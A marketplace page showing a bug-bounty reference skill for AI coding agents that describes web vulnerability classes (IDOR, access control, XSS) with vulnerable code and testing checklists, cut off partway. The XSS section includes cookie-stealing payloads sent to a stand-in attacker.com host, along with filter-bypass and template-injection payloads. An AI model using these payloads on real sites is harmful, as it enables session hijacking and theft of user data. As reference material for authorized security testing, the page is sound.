Skip to content
Security
Skill

/web2-vuln-classes

Complete reference for 28 web2 bug classes with root causes, detection patterns, bypass tables, exploit techniques, and real paid examples. Covers IDOR, auth bypass, XSS, SSRF (11 IP bypass techniques), SQLi, NoSQLi, business logic, race conditions, OAuth/OIDC, file upload (10

From plugin
bountyforge
46429 skills

Claude Code

$ npx -y skills add Gabson0x/bountyforge --skill web2-vuln-classes --agent claude-code

SKILL.md

web2-vuln-classes.SKILL.md
name: web2-vuln-classes
description: Complete reference for 28 web2 bug classes with root causes, detection patterns, bypass tables, exploit techniques, and real paid examples. Covers IDOR, auth bypass, XSS, SSRF (11 IP bypass techniques), SQLi, NoSQLi, business logic, race conditions, OAuth/OIDC, file upload (10 bypass techniques), GraphQL, LLM/AI (ASI01-ASI10 agentic framework), API misconfig (mass assignment, JWT attacks, prototype pollution, CORS), ATO taxonomy (9 paths), SSTI (Jinja2/Twig/Freemarker/ERB/Spring), subdomain takeover, cloud/infra misconfigs, HTTP smuggling (CL.TE/TE.CL/H2.CL), cache poisoning, MFA bypass (7 patterns), SAML attacks (XSW/comment injection/signature stripping), XXE, insecure deserialization, host header injection, custom header injection, clickjacking, open redirect (11 bypass techniques), WebSocket attacks, SSRF chaining, and business logic bypass. Use when hunting a specific vuln class or studying what makes bugs pay.

WEB2 BUG CLASSES โ€” 28 Classes

Root cause, pattern, bypass table, chaining opportunity, real paid examples.

See also: [[Vuln Classes]], [[Trust Map]], [[Aโ†’B Chains]], [[Security Arsenal]]

> **Auth-required classes** (๐Ÿ”): the ones below need **at least one logged-in > session** loaded into the hunt to be testable. Use `hunt.py --auth-file > .private/T.json` or `--cookie/--bearer` flags โ€” every recon/scan tool then > inherits the headers automatically. For IDOR/BOLA/priv-esc, load **two > sessions** (low- and high-priv) and diff. See `docs/auth-sessions.md`. > > ๐Ÿ” IDOR ยท Broken Auth/Access Control ยท Mass Assignment ยท OAuth/OIDC ยท JWT ยท > GraphQL field-level auth ยท LLM/AI chatbot IDOR ยท MFA (rate-limit + response > manipulation tests) ยท ATO chains ยท SSRF behind login > > The MFA workflow-skip and SAML signature-stripping probes intentionally > stay **unauthenticated** even when a session is loaded โ€” that's the > attack premise.

---

1. IDOR โ€” INSECURE DIRECT OBJECT REFERENCE ๐Ÿ”

> #1 most paid web2 class โ€” 30% of all submissions that get paid. > **Needs two sessions** (A=attacker, B=victim) โ€” load both via `--auth-file` > and diff audit-log `session_id` hashes to confirm cross-tenant access.

Root Cause

# VULNERABLE โ€” no ownership check
@app.route('/api/orders/<order_id>')
def get_order(order_id):
    order = db.query("SELECT * FROM orders WHERE id = ?", order_id)
    return jsonify(order)  # Never checks if order belongs to current user!

# SECURE
@app.route('/api/orders/<order_id>')
def get_order(order_id):
    order = db.query("SELECT * FROM orders WHERE id = ? AND user_id = ?",
                     order_id, current_user.id)

Variants

  • **V1:** Numeric ID swap โ€” `/api/user/123/profile` โ†’ change to 124
  • **V2:** UUID swap โ€” enumerate UUID via email invite or other endpoint
  • **V3:** Indirect IDOR โ€” `POST /api/export?report_id=456` exports another user's report
  • **V4:** Parameter add โ€” `?user_id=other` makes backend use it
  • **V5:** HTTP method swap โ€” PUT protected, DELETE not
  • **V6:** Old API version โ€” `/v1/users/123` lacks auth that `/v2/` has
  • **V7:** GraphQL node โ€” `{ node(id: "base64(User:456)") { email } }`
  • **V8:** WebSocket โ€” WS sends `{"action":"get_history","userId":"client-generated-UUID"}`

Testing Checklist

[ ] Two accounts (A=attacker, B=victim)
[ ] Log in as A, perform all actions, note all IDs
[ ] Replay A's requests with A's token but B's IDs
[ ] Test EVERY HTTP method (GET, PUT, DELETE, PATCH)
[ ] Check API v1 vs v2
[ ] Check GraphQL node() queries
[ ] Check WebSocket messages for client-supplied IDs

IDOR Chain Escalation

  • IDOR + Read PII = Medium
  • IDOR + Write (modify other's data) = High
  • IDOR + Admin endpoint = Critical (privilege escalation)
  • IDOR + Account takeover path = Critical
  • IDOR + Chatbot reads other user's data = High

---

2. BROKEN AUTH / ACCESS CONTROL ๐Ÿ”

> #2 most paid class. The sibling function rule: if 9 endpoints have auth, the 10th that doesn't is your bug. > **Needs auth loaded** โ€” you're testing which sibling routes a logged-in > user can reach that shouldn't be reachable. Compare authed responses > against the same paths hit anonymously.

The Sibling Rule

/api/admin/users  โ†’ has auth middleware
/api/admin/export โ†’ often MISSING it
/api/admin/delete โ†’ often MISSING it
/api/admin/reset  โ†’ often MISSING it

Patterns

// Missing middleware on sibling
router.get('/admin/users', authenticate, authorize('admin'), getUsers);
router.get('/admin/export', getExport);  // No middleware!

// Client-side role check only
if (user.role === 'admin') showAdminButton();
// Backend: app.post('/api/admin/delete', deleteUser); // no server check!

Real Paid Examples

  • **HackerOne TrustHub**: `POST /graphql` with `TrustHubQuery` โ€” no auth, regular user reads all vendors (CVSS 8.7 High)
  • **Vienna Chatbot**: WebSocket `get_history` accepts arbitrary UUID โ€” no ownership check (P2)

---

3. XSS โ€” CROSS-SITE SCRIPTING

Stored XSS (highest impact)

Input: "<script>document.location='https://attacker.com/c?c='+document.cookie</script>"
Any user viewing page executes attacker JS โ†’ cookie theft โ†’ session hijack

DOM XSS Sinks (grep for these)

innerHTML = userInput           // HIGH RISK
outerHTML = userInput
document.write(userInput)
eval(userInput)
setTimeout(userInput, ...)      // string form
element.src = userInput         // JavaScript URI possible
location.href = userInput

XSS Bypass Techniques

// CSP bypass โ€” unsafe-inline blocked
<img src=x onerror="fetch('https://attacker.com?d='+btoa(document.cookie))">
// Angular template injection
{{constructor.constructor('alert(1)')()}}
// mXSS โ€” mutation-based
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
// Polyglot prompt call
'-prompt.call(window,%20'xss_found")-

XSS Chains (escalate to High/Critical)

  • XSS + sensitive page (banking/admin) = High
  • XSS + CSRF token theft = CSRF bypass on crit
Read more
@gabson0x
Ships withbountyforge

All-round bug bounty skill for Claude Code โ€” parallelized agents for smart contract audits (EVM, Move, Solana, TRON), web/API security, local tooling orchestration, and submission-ready reports for HackerOne, Bugcrowd, Intigriti & Immunefi.

Stars on GitHub

Momentum

stars in total
464
Star history of Gabson0x/bountyforge on GitHub, a chart by star-history.com

Other skills on bountyforge.

bb-methodology

bb-methodology

The "3rd eye" for pentesting โ€” reminds agent to understand before assuming, validate before reporting.

bug-bounty

bug-bounty

Complete bug bounty workflow โ€” recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source codeโ€ฆ

code-sleuth

code-sleuth

Analyze EVM smart contracts for storage-safety vulnerabilities that can cause persistent state updates to be lost, overwritten,โ€ฆ

fizz

fizz

Generate Echidna/Medusa-compatible Solidity fuzz suites from Foundry or Hardhat projects. Trigger on "fizz", "generate fuzzโ€ฆ

fizz-convert

fizz-convert

Convert English-language properties in PROPERTIES.md (produced by the Fizz skill) into Solidity assertions inside the existingโ€ฆ

fizz-sync

fizz-sync

Reconcile an existing Fizz harness with a changed source tree. Detects added/removed/changed contract functions, quarantinesโ€ฆ

More skills from other plugins.

api-security

api-security

Use for authorized security assessment of REST, GraphQL, WebSocket, or SOAP APIs, including discovery, authentication,โ€ฆ

@zhaoxuya520@zhaoxuya520Install Skill
nemoclaw-user-guide

nemoclaw-user-guide

Find official NemoClaw documentation for installation, configuration, operation, or troubleshooting. Also handles requested docsโ€ฆ

@nvidia@nvidiaInstall Skill

Questions about web2-vuln-classes.

Which coding agents can use web2-vuln-classes?
web2-vuln-classes installs in Claude Code, Codex, Cursor, Gemini CLI, GitHub Copilot, OpenCode and Windsurf with the skills CLI, using each agent's flag shown on this page. Flowy's auto-invocation, which fires a skill when your prompt matches, runs in Claude Code only.